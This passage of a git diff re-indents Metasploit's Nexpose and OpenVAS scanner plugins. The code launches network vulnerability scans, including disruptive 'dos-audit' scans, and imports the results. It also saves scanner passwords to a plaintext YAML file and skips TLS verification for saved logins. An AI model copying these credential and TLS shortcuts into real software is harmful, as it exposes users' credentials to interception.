@nsc.download(url) - - if(opt_savexml) - ::FileUtils.mkdir_p(opt_savexml) - path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml") - print_status(" >> Saving scan data into #{path}") if opt_verbose - ::File.open(path, "wb") { |fd| fd.write(data) } - end - - process_nexpose_data(report_format, data) - end - - if ! opt_preserve - print_status(" >> Deleting the temporary site and report...") if opt_verbose - @nsc.site_delete(site.site_id) - end - end - - print_status("Completed the scan of #{total} addresses") - end - - def cmd_nexpose_disconnect(*args) - @nsc.logout if @nsc - @nsc = nil - end - - def process_nexpose_data(fmt, data) - case fmt - when 'raw-xml-v2' - framework.db.import({:data => data}) - when 'ns-xml' - framework.db.import({:data => data}) - else - print_error("Unsupported Nexpose data format: #{fmt}") - end - end - - # - # Nexpose vuln lookup - # - def nexpose_vuln_lookup(doc, vid, refs, host, serv=nil) - doc.elements.each("/NexposeReport/VulnerabilityDefinitions/vulnerability[@id = '#{vid}']]") do |vulndef| - - title = vulndef.attributes['title'] - pciSeverity = vulndef.attributes['pciSeverity'] - cvss_score = vulndef.attributes['cvssScore'] - cvss_vector = vulndef.attributes['cvssVector'] - - vulndef.elements['references'].elements.each('reference') do |ref| - if ref.attributes['source'] == 'BID' - refs[ 'BID-' + ref.text ] = true - elsif ref.attributes['source'] == 'CVE' - # ref.text is CVE-$ID - refs[ ref.text ] = true - elsif ref.attributes['source'] == 'MS' - refs[ 'MSB-MS-' + ref.text ] = true - end - end - - refs[ 'NEXPOSE-' + vid.downcase ] = true - - vuln = framework.db.find_or_create_vuln( - :host => host, - :service => serv, - :name => 'NEXPOSE-' + vid.downcase, - :data => title) - - rids = [] - refs.keys.each do |r| - rids << framework.db.find_or_create_ref(:name => r) - end - - vuln.refs << (rids - vuln.refs) - end - end - - end - - # - # Plugin initialization - # - - def initialize(framework, opts) - super - - add_console_dispatcher(NexposeCommandDispatcher) - banner = ["0a205f5f5f5f202020202020202020202020205f20202020205f205f5f5f5f5f2020205f2020205f20202020205f5f20205f5f2020202020202020202020202020202020202020200a7c20205f205c205f5f205f205f205f5f20285f29205f5f7c207c5f5f5f20207c207c205c207c207c205f5f5f5c205c2f202f5f205f5f2020205f5f5f20205f5f5f20205f5f5f200a7c207c5f29202f205f60207c20275f205c7c207c2f205f60207c20202f202f20207c20205c7c207c2f205f205c5c20202f7c20275f205c202f205f205c2f205f5f7c2f205f205c0a7c20205f203c20285f7c207c207c5f29207c207c20285f7c207c202f202f2020207c207c5c20207c20205f5f2f2f20205c7c207c5f29207c20285f29205c5f5f205c20205f5f2f0a7c5f7c205c5f5c5f5f2c5f7c202e5f5f2f7c5f7c5c5f5f2c5f7c2f5f2f202020207c5f7c205c5f7c5c5f5f5f2f5f2f5c5f5c202e5f5f2f205c5f5f5f2f7c5f5f5f2f5c5f5f5f7c0a20202020202020202020207c5f7c20202020202020202020202020202020202020202020202020202020202020202020207c5f7c202020202020202020202020202020202020200a0a0a"].pack("H*") - - # Do not use this UTF-8 encoded high-ascii art for non-UTF-8 or windows consoles - lang = Rex::Compat.getenv("LANG") - if (lang and lang =~ /UTF-8/) - # Cygwin/Windows should not be reporting UTF-8 either... - # (! (Rex::Compat.is_windows or Rex::Compat.is_cygwin)) - banner = ["202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29684e29684e29684202020e29684e29684202020202020202020202020e29684e29684e296842020e29684e29684e2968420202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29688202020e29688e2968820202020202020202020202020e29688e2968820e29684e29688e296882020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29680e296882020e29688e29688202020e29684e29688e29688e29688e29688e296842020202020e29688e29688e29688e2968820202020e29688e29688e29684e29688e29688e29688e2968420202020e29684e29688e29688e29688e29688e29684202020e29684e29684e29688e29688e29688e29688e29688e29684202020e29684e29688e29688e29688e29688e2968420200a20e29688e2968820e29688e2968820e29688e296882020e29688e29688e29684e29684e29684e29684e29688e296882020202020e29688e296882020202020e29688e29688e296802020e29680e29688e296882020e29688e29688e296802020e29680e29688e296882020e29688e29688e29684e29684e29684e2968420e296802020e29688e29688e29684e29684e29684e29684e29688e29688200a20e29688e296882020e29688e29684e29688e296882020e29688e29688e29680e29680e29680e29680e29680e2968020202020e29688e29688e29688e2968820202020e29688e2968820202020e29688e296882020e29688e2968820202020e29688e29688202020e29680e29680e29680e29680e29688e29688e296842020e29688e29688e29680e29680e29680e29680e29680e29680200a20e29688e29688202020e29688e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688202020e29688e296882020e29688e29688202020e29688e29688e29688e29684e29684e29688e29688e296802020e29680e29688e29688e29684e29684e29688e29688e296802020e29688e29684e29684e29684e29684e29684e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688200a20e29680e29680202020e29680e29680e2968020202020e29680e29680e29680e29680e29680202020e29680e29680e296802020e29680e29680e296802020e29688e2968820e29680e29680e29680202020202020e29680e29680e29680e296802020202020e29680e29680e29680e29680e29680e296802020202020e29680e29680e29680e29680e2968020200a20202020202020202020202020202020202020202020202020202020202020e29688e29688202020202020202020202020202020202020202020202020202020202020202020202020200a202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a"].pack("H*") - end - print(banner) - print_status("Nexpose integration has been activated") - end - - def cleanup - remove_console_dispatcher('Nexpose') - end - - def name - "nexpose" - end - - def desc - "Integrates with the Rapid7 Nexpose vulnerability management product" - end + class NexposeCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Nexpose" + end + + def commands + { + 'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )", + 'nexpose_save' => "Save credentials to a Nexpose instance", + 'nexpose_activity' => "Display any active scan jobs on the Nexpose instance", + + 'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results", + 'nexpose_discover' => "Launch a scan but only perform host and minimal service discovery", + 'nexpose_exhaustive' => "Launch a scan covering all TCP ports and all authorized safe checks", + 'nexpose_dos' => "Launch a scan that includes checks that can crash services and devices (caution)", + + 'nexpose_disconnect' => "Disconnect from an active Nexpose instance", + + 'nexpose_sites' => "List all defined sites", + 'nexpose_site_devices' => "List all discovered devices within a site", + 'nexpose_site_import' => "Import data from the specified site ID", + 'nexpose_report_templates' => "List all available report templates", + 'nexpose_command' => "Execute a console command on the Nexpose instance", + 'nexpose_sysinfo' => "Display detailed system information about the Nexpose instance", + + # TODO: + # nexpose_stop_scan + } + end + + def nexpose_verify_db + if ! (framework.db and framework.db.usable and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + + true + end + + def nexpose_verify + return false if not nexpose_verify_db + + if ! @nsc + print_error("No active Nexpose instance has been configured, please use 'nexpose_connect'") + return false + end + + true + end + + def cmd_nexpose_save(*args) + #if we are logged in, save session details to nexpose.yaml + if args[0] == "-h" + print_status("Usage: ") + print_status(" nexpose_save") + return + end + + if args[0] + print_status("Usage: ") + print_status(" nexpose_save") + return + end + + group = "default" + + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Nexpose_yaml} created.") + else + print_error("Missing username/password/server/port - relogin and then try again.") + return + end + end + + def cmd_nexpose_connect(*args) + return if not nexpose_verify_db + + if ! args[0] + if ::File.readable?("#{Nexpose_yaml}") + lconfig = YAML.load_file("#{Nexpose_yaml}") + @user = lconfig['default']['username'] + @pass = lconfig['default']['password'] + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + nexpose_login + return + end + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] ") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port ") + return + end + + @user = @pass = @host = @port = @sslv = nil + + case args.length + when 1,2 + cred,targ = args[0].split('@', 2) + @user,@pass = cred.split(':', 2) + targ ||= '127.0.0.1:3780' + @host,@port = targ.split(':', 2) + port ||= '3780' + @sslv = args[1] + when 4,5 + @user,@pass,@host,@port,@sslv = args + else + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] ") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port ") + return + end + nexpose_login + end + + def nexpose_login + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] ") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port ") + return + end + + if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + # Wrap this so a duplicate session doesnt prevent a new login + begin + cmd_nexpose_disconnect + rescue ::Interrupt + raise $! + rescue ::Exception + end + + begin + print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") + nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) + nsc.login + rescue ::Nexpose::APIError => e + print_error("Connection failed: #{e.reason}") + return + end + + @nsc = nsc + nexpose_compatibility_check + nsc + end + + def cmd_nexpose_activity(*args) + return if not nexpose_verify + + scans = @nsc.scan_activity || [] + case scans.length + when 0 + print_status("There are currently no active scan jobs on this Nexpose instance") + when 1 + print_status("There is 1 active scan job on this Nexpose instance") + else + print_status("There are currently #{scans.length} active scan jobs on this Nexpose instance") + end + + scans.each do |scan| + print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") + end + end + + def cmd_nexpose_sites(*args) + return if not nexpose_verify + + sites = @nsc.site_listing || [] + case sites.length + when 0 + print_status("There are currently no active sites on this Nexpose instance") + end + + sites.each do |site| + print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") + end + end + + def cmd_nexpose_site_devices(*args) + return if not nexpose_verify + + site_id = args.shift + if not site_id + print_error("No site ID was specified") + return + end + + devices = @nsc.site_device_listing(site_id) || [] + case devices.length + when 0 + print_status("There are currently no devices within this site") + end + + devices.each do |device| + print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") + end + end + + def cmd_nexpose_report_templates(*args) + return if not nexpose_verify + + res = @nsc.report_template_listing || [] + + res.each do |report| + print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") + end + end + + def cmd_nexpose_command(*args) + return if not nexpose_verify + + if args.length == 0 + print_error("No command was specified") + return + end + + res = @nsc.console_command(args.join(" ")) || "" + + print_status("Command Output") + print_line(res) + print_line("") + + end + + def cmd_nexpose_sysinfo(*args) + return if not nexpose_verify + + res = @nsc.system_information + + print_status("System Information") + res.each_pair do |k,v| + print_status(" #{k}: #{v}") + end + end + + def nexpose_compatibility_check + res = @nsc.console_command("ver") + if res !~ /^(NSC|Console) Version ID:\s*4[89]0\s*$/m + print_error("") + print_error("Warning: This version of Nexpose has not been tested with Metasploit!") + print_error("") + end + end + + def cmd_nexpose_site_import(*args) + site_id = args.shift + if not site_id + print_error("No site ID was specified") + return + end + + msfid = Time.now.to_i + + report_formats = ["raw-xml-v2", "ns-xml"] + report_format = report_formats.shift + + report = Nexpose::ReportConfig.new(@nsc) + report.set_name("Metasploit Export #{msfid}") + report.set_template_id("pentest-audit") + + report.addFilter("SiteFilter", site_id) + report.set_generate_after_scan(0) + report.set_storeOnServer(1) + + begin + report.set_format(report_format) + report.saveReport() + rescue ::Exception => e + report_format = report_formats.shift + if report_format + retry + end + raise e + end + + print_status("Generating the export data file...") + url = nil + while(! url) + url = @nsc.report_last(report.config_id) + select(nil, nil, nil, 1.0) + end + + print_status("Downloading the export data...") + data = @nsc.download(url) + + # Delete the temporary report ID + @nsc.report_config_delete(report.config_id) + + print_status("Importing Nexpose data...") + process_nexpose_data(report_format, data) + + end + + def cmd_nexpose_discover(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "aggressive-discovery" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_exhaustive(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "exhaustive-audit" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_dos(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "dos-audit" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_scan(*args) + + opts = Rex::Parser::Arguments.new( + "-h" => [ false, "This help menu"], + "-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"], + "-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"], + "-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"], + "-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"], + "-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"], + "-v" => [ false, "Display diagnostic information about the scanning process"], + "-d" => [ false, "Scan hosts based on the contents of the existing database"], + "-I" => [ true, "Only scan systems with an address within the specified range"], + "-E" => [ true, "Exclude hosts in the specified range from the scan"] + ) + + opt_template = "pentest-audit" + opt_maxaddrs = 32 + opt_monitor = false + opt_verbose = false + opt_savexml = nil + opt_preserve = false + opt_rescandb = false + opt_addrinc = nil + opt_addrexc = nil + opt_scanned = [] + opt_credentials = [] + + opt_ranges = [] + + + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line("Usage: nexpose_scan [options] ") + print_line(opts.usage) + return + when "-t" + opt_template = val + when "-n" + opt_maxaddrs = val.to_i + when "-s" + opt_savexml = val + when "-c" + if (val =~ /^([^:]+):([^:]+):(.+)/) + type, user, pass = [ $1, $2, $3 ] + newcreds = Nexpose::AdminCredentials.new + newcreds.setCredentials(type, nil, nil, user, pass, nil) + opt_credentials << newcreds + else + print_error("Unrecognized Nexpose scan credentials: #{val}") + return + end + when "-v" + opt_verbose = true + when "-P" + opt_preserve = true + when "-d" + opt_rescandb = true + when '-I' + opt_addrinc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) + when '-E' + opt_addrexc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) + else + opt_ranges << val + end + end + + return if not nexpose_verify + + # Include all database hosts as scan targets if specified + if(opt_rescandb) + print_status("Loading scan targets from the active database...") if opt_verbose + framework.db.hosts.each do |host| + next if host.state != ::Msf::HostState::Alive + opt_ranges << host.address + end + end + + possible_files = opt_ranges # don't allow DOS by circular reference + possible_files.each do |file| + if ::File.readable? file + print_status "Parsing ranges from #{file}" + range_list = ::File.open(file,"rb") {|f| f.read f.stat.size} + range_list.each_line { |subrange| opt_ranges << subrange} + opt_ranges.delete(file) + end + end + + opt_ranges = opt_ranges.join(' ') + + if(opt_ranges.strip.empty?) + print_line("Usage: nexpose_scan [options] ") + print_line(opts.usage) + return + end + + if(opt_verbose) + print_status("Creating a new scan using template #{opt_template} and #{opt_maxaddrs} concurrent IPs against #{opt_ranges}") + end + + range_inp = ::Msf::OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(opt_ranges) + range = ::Rex::Socket::RangeWalker.new(range_inp) + include_range = opt_addrinc ? ::Rex::Socket::RangeWalker.new(opt_addrinc) : nil + exclude_range = opt_addrexc ? ::Rex::Socket::RangeWalker.new(opt_addrexc) : nil + + completed = 0 + total = range.num_ips + count = 0 + + print_status("Scanning #{total} addresses with template #{opt_template} in sets of #{opt_maxaddrs}") + + while(completed < total) + count += 1 + queue = [] + + while(ip = range.next_ip and queue.length < opt_maxaddrs) + + if(exclude_range and exclude_range.include?(ip)) + print_status(" >> Skipping host #{ip} due to exclusion") if opt_verbose + next + end + + if(include_range and ! include_range.include?(ip)) + print_status(" >> Skipping host #{ip} due to inclusion filter") if opt_verbose + next + end + + opt_scanned << ip + queue << ip + end + + break if queue.empty? + print_status("Scanning #{queue[0]}-#{queue[-1]}...") if opt_verbose + + msfid = Time.now.to_i + + # Create a temporary site + site = Nexpose::Site.new(@nsc) + site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") + queue.each do |ip| + site.site_config.addHost(Nexpose::IPRange.new(ip)) + end + site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) + opt_credentials.each do |c| + site.site_config.addCredentials(c) + end + site.saveSite() + + print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose + + report_formats = ["raw-xml-v2", "ns-xml"] + report_format = report_formats.shift + + report = Nexpose::ReportConfig.new(@nsc) + report.set_name("Metasploit Export #{msfid}") + report.set_template_id(opt_template) + + report.addFilter("SiteFilter", site.site_id) + report.set_generate_after_scan(1) + report.set_storeOnServer(1) + + begin + report.set_format(report_format) + report.saveReport() + rescue ::Exception => e + report_format = report_formats.shift + if report_format + retry + end + raise e + end + + print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose + + # Run the scan + res = site.scanSite() + sid = res[:scan_id] + + print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose + + rep = true + begin + prev = nil + while(true) + info = @nsc.scan_statistics(sid) + break if info[:summary]['status'] != "running" + stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" + if(stat != prev) + print_status(" >> #{stat}") if opt_verbose + end + prev = stat + select(nil, nil, nil, 5.0) + end + print_status(" >> Scan has been completed with ID ##{sid}") if opt_verbose + rescue ::Interrupt + rep = false + print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose + @nsc.scan_stop(sid) + break + end + + # Wait for the automatic report generation to complete + if(rep) + print_status(" >> Waiting on the report to generate...") if opt_verbose + url = nil + while(! url) + url = @nsc.report_last(report.config_id) + select(nil, nil, nil, 1.0) + end + + print_status(" >> Downloading the report data from Nexpose...") if opt_verbose + data = @nsc.download(url) + + if(opt_savexml) + ::FileUtils.mkdir_p(opt_savexml) + path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml") + print_status(" >> Saving scan data into #{path}") if opt_verbose + ::File.open(path, "wb") { |fd| fd.write(data) } + end + + process_nexpose_data(report_format, data) + end + + if ! opt_preserve + print_status(" >> Deleting the temporary site and report...") if opt_verbose + @nsc.site_delete(site.site_id) + end + end + + print_status("Completed the scan of #{total} addresses") + end + + def cmd_nexpose_disconnect(*args) + @nsc.logout if @nsc + @nsc = nil + end + + def process_nexpose_data(fmt, data) + case fmt + when 'raw-xml-v2' + framework.db.import({:data => data}) + when 'ns-xml' + framework.db.import({:data => data}) + else + print_error("Unsupported Nexpose data format: #{fmt}") + end + end + + # + # Nexpose vuln lookup + # + def nexpose_vuln_lookup(doc, vid, refs, host, serv=nil) + doc.elements.each("/NexposeReport/VulnerabilityDefinitions/vulnerability[@id = '#{vid}']]") do |vulndef| + + title = vulndef.attributes['title'] + pciSeverity = vulndef.attributes['pciSeverity'] + cvss_score = vulndef.attributes['cvssScore'] + cvss_vector = vulndef.attributes['cvssVector'] + + vulndef.elements['references'].elements.each('reference') do |ref| + if ref.attributes['source'] == 'BID' + refs[ 'BID-' + ref.text ] = true + elsif ref.attributes['source'] == 'CVE' + # ref.text is CVE-$ID + refs[ ref.text ] = true + elsif ref.attributes['source'] == 'MS' + refs[ 'MSB-MS-' + ref.text ] = true + end + end + + refs[ 'NEXPOSE-' + vid.downcase ] = true + + vuln = framework.db.find_or_create_vuln( + :host => host, + :service => serv, + :name => 'NEXPOSE-' + vid.downcase, + :data => title) + + rids = [] + refs.keys.each do |r| + rids << framework.db.find_or_create_ref(:name => r) + end + + vuln.refs << (rids - vuln.refs) + end + end + + end + + # + # Plugin initialization + # + + def initialize(framework, opts) + super + + add_console_dispatcher(NexposeCommandDispatcher) + banner = ["0a205f5f5f5f202020202020202020202020205f20202020205f205f5f5f5f5f2020205f2020205f20202020205f5f20205f5f2020202020202020202020202020202020202020200a7c20205f205c205f5f205f205f205f5f20285f29205f5f7c207c5f5f5f20207c207c205c207c207c205f5f5f5c205c2f202f5f205f5f2020205f5f5f20205f5f5f20205f5f5f200a7c207c5f29202f205f60207c20275f205c7c207c2f205f60207c20202f202f20207c20205c7c207c2f205f205c5c20202f7c20275f205c202f205f205c2f205f5f7c2f205f205c0a7c20205f203c20285f7c207c207c5f29207c207c20285f7c207c202f202f2020207c207c5c20207c20205f5f2f2f20205c7c207c5f29207c20285f29205c5f5f205c20205f5f2f0a7c5f7c205c5f5c5f5f2c5f7c202e5f5f2f7c5f7c5c5f5f2c5f7c2f5f2f202020207c5f7c205c5f7c5c5f5f5f2f5f2f5c5f5c202e5f5f2f205c5f5f5f2f7c5f5f5f2f5c5f5f5f7c0a20202020202020202020207c5f7c20202020202020202020202020202020202020202020202020202020202020202020207c5f7c202020202020202020202020202020202020200a0a0a"].pack("H*") + + # Do not use this UTF-8 encoded high-ascii art for non-UTF-8 or windows consoles + lang = Rex::Compat.getenv("LANG") + if (lang and lang =~ /UTF-8/) + # Cygwin/Windows should not be reporting UTF-8 either... + # (! (Rex::Compat.is_windows or Rex::Compat.is_cygwin)) + banner = ["202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29684e29684e29684202020e29684e29684202020202020202020202020e29684e29684e296842020e29684e29684e2968420202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29688202020e29688e2968820202020202020202020202020e29688e2968820e29684e29688e296882020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29680e296882020e29688e29688202020e29684e29688e29688e29688e29688e296842020202020e29688e29688e29688e2968820202020e29688e29688e29684e29688e29688e29688e2968420202020e29684e29688e29688e29688e29688e29684202020e29684e29684e29688e29688e29688e29688e29688e29684202020e29684e29688e29688e29688e29688e2968420200a20e29688e2968820e29688e2968820e29688e296882020e29688e29688e29684e29684e29684e29684e29688e296882020202020e29688e296882020202020e29688e29688e296802020e29680e29688e296882020e29688e29688e296802020e29680e29688e296882020e29688e29688e29684e29684e29684e2968420e296802020e29688e29688e29684e29684e29684e29684e29688e29688200a20e29688e296882020e29688e29684e29688e296882020e29688e29688e29680e29680e29680e29680e29680e2968020202020e29688e29688e29688e2968820202020e29688e2968820202020e29688e296882020e29688e2968820202020e29688e29688202020e29680e29680e29680e29680e29688e29688e296842020e29688e29688e29680e29680e29680e29680e29680e29680200a20e29688e29688202020e29688e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688202020e29688e296882020e29688e29688202020e29688e29688e29688e29684e29684e29688e29688e296802020e29680e29688e29688e29684e29684e29688e29688e296802020e29688e29684e29684e29684e29684e29684e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688200a20e29680e29680202020e29680e29680e2968020202020e29680e29680e29680e29680e29680202020e29680e29680e296802020e29680e29680e296802020e29688e2968820e29680e29680e29680202020202020e29680e29680e29680e296802020202020e29680e29680e29680e29680e29680e296802020202020e29680e29680e29680e29680e2968020200a20202020202020202020202020202020202020202020202020202020202020e29688e29688202020202020202020202020202020202020202020202020202020202020202020202020200a202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a"].pack("H*") + end + print(banner) + print_status("Nexpose integration has been activated") + end + + def cleanup + remove_console_dispatcher('Nexpose') + end + + def name + "nexpose" + end + + def desc + "Integrates with the Rapid7 Nexpose vulnerability management product" + end end end diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 34d814055231..91689190ab46 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -14,555 +14,555 @@ module Msf class Plugin::OpenVAS < Msf::Plugin - class OpenVASCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "OpenVAS" - end - - def commands - { - 'openvas_help' => "Displays help", - 'openvas_version' => "Display the version of the OpenVAS server", - 'openvas_debug' => "Enable/Disable debugging", - 'openvas_connect' => "Connect to an OpenVAS manager using OMP", - 'openvas_disconnect' => "Disconnect from OpenVAS manager", - - 'openvas_task_create' => "Create a task (name, comment, target, config)", - 'openvas_task_delete' => "Delete task by ID", - 'openvas_task_list' => "Display list of tasks", - 'openvas_task_start' => "Start task by ID", - 'openvas_task_stop' => "Stop task by ID", - 'openvas_task_pause' => "Pause task by ID", - 'openvas_task_resume' => "Resume task by ID", - 'openvas_task_resume_or_start' => "Resume task or start task by ID", - - 'openvas_target_create' => "Create target (name, hosts, comment)", - 'openvas_target_delete' => "Delete target by ID", - 'openvas_target_list' => "Display list of targets", - - 'openvas_config_list' => "Quickly display list of configs", - - 'openvas_format_list' => "Display list of available report formats", - - 'openvas_report_list' => "Display a list of available report formats", - 'openvas_report_delete' => "Delete a report specified by ID", - 'openvas_report_download' => "Save a report to disk", - 'openvas_report_import' => "Import report specified by ID into framework", - } - end - - def cmd_openvas_help() - print_status("openvas_help Display this help") - print_status("openvas_debug Enable/Disable debugging") - print_status("openvas_version Display the version of the OpenVAS server") - print_status - print_status("CONNECTION") - print_status("==========") - print_status("openvas_connect Connects to OpenVAS") - print_status("openvas_disconnect Disconnects from OpenVAS") - print_status - print_status("TARGETS") - print_status("=======") - print_status("openvas_target_create Create target") - print_status("openvas_target_delete Deletes target specified by ID") - print_status("openvas_target_list Lists targets") - print_status - print_status("TASKS") - print_status("=====") - print_status("openvas_task_create Create task") - print_status("openvas_task_delete Delete a task and all associated reports") - print_status("openvas_task_list Lists tasks") - print_status("openvas_task_start Starts task specified by ID") - print_status("openvas_task_stop Stops task specified by ID") - print_status("openvas_task_pause Pauses task specified by ID") - print_status("openvas_task_resume Resumes task specified by ID") - print_status("openvas_task_resume_or_start Resumes or starts task specified by ID") - print_status - print_status("CONFIGS") - print_status("=======") - print_status("openvas_config_list Lists scan configurations") - print_status - print_status("FORMATS") - print_status("=======") - print_status("openvas_format_list Lists available report formats") - print_status - print_status("REPORTS") - print_status("=======") - print_status("openvas_report_list Lists available reports") - print_status("openvas_report_delete Delete a report specified by ID") - print_status("openvas_report_import Imports an OpenVAS report specified by ID") - print_status("openvas_report_download Downloads an OpenVAS report specified by ID") - end - - # Verify the database is connected and usable - def database? - if !(framework.db and framework.db.usable) - return false - else - return true - end - end - - # Verify there is an active OpenVAS connection - def openvas? - if @ov - return true - else - print_error("No OpenVAS connection available. Please use openvas_connect.") - return false - end - end - - # Verify correct number of arguments and verify -h was not given. Return - # true if correct number of arguments and help was not requested. - def args?(args, min=1, max=nil) - if not max then max = min end - if (args.length < min or args.length > max or args[0] == "-h") - return false - end - - return true - end - - #-------------------------- - # Basic Functions - #-------------------------- - def cmd_openvas_debug(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.debug(args[0].to_i) - print_good(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage:") - print_status("openvas_debug integer") - end - end - - def cmd_openvas_version() - return unless openvas? - - begin - ver = @ov.get_version - print_good("Using OMP version #{ver}") - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - - #-------------------------- - # Connection Functions - #-------------------------- - def cmd_openvas_connect(*args) - # Is the database configured? - if not database? - print_error("No database has been configured.") - return - end - - # Don't allow duplicate sessions - if @ov then - print_error("Session already open, please use openvas_disconnect first.") - return - end - - # Make sure the correct number of arguments are present. - if args?(args, 4, 5) - - user, pass, host, port, sslv = args - - # SSL warning. User is required to confirm. - if(host != "localhost" and host != "127.0.0.1" and sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the OpenVAS traffic to capture the OpenVAS") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - begin - print_status("Connecting to OpenVAS instance at #{host}:#{port} with username #{user}...") - ov = OpenVASOMP::OpenVASOMP.new(user, pass, host, port) - rescue OpenVASOMP::OMPAuthError => e - print_error("Authentication failed: #{e.reason}") - return - rescue OpenVASOMP::OMPConnectionError => e - print_error("Connection failed: #{e.reason}") - return - end - print_good("OpenVAS connection successful") - @ov = ov - - else - print_status("Usage:") - print_status("openvas_connect username password host port ") - end - end - - # Disconnect from an OpenVAS manager - def cmd_openvas_disconnect() - return unless openvas? - @ov.logout - @ov = nil - end - - - #-------------------------- - # Target Functions - #-------------------------- - def cmd_openvas_target_create(*args) - return unless openvas? - - if args?(args, 3) - begin - resp = @ov.target_create(args[0], args[1], args[2]) - print_status(resp) - cmd_openvas_target_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - - else - print_status("Usage: openvas_target_create ") - end - end - - def cmd_openvas_target_delete(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.target_delete(args[0]) - print_status(resp) - cmd_openvas_target_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_target_delete ") - end - end - - def cmd_openvas_target_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"]) - id = 0 - @ov.target_get_all().each do |target| - tbl << [ id, target["name"], target["hosts"], target["max_hosts"], - target["in_use"], target["comment"] ] - id += 1 - end - print_good("OpenVAS list of targets") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Task Functions - #-------------------------- - def cmd_openvas_task_create(*args) - return unless openvas? - - if args?(args, 4) - begin - resp = 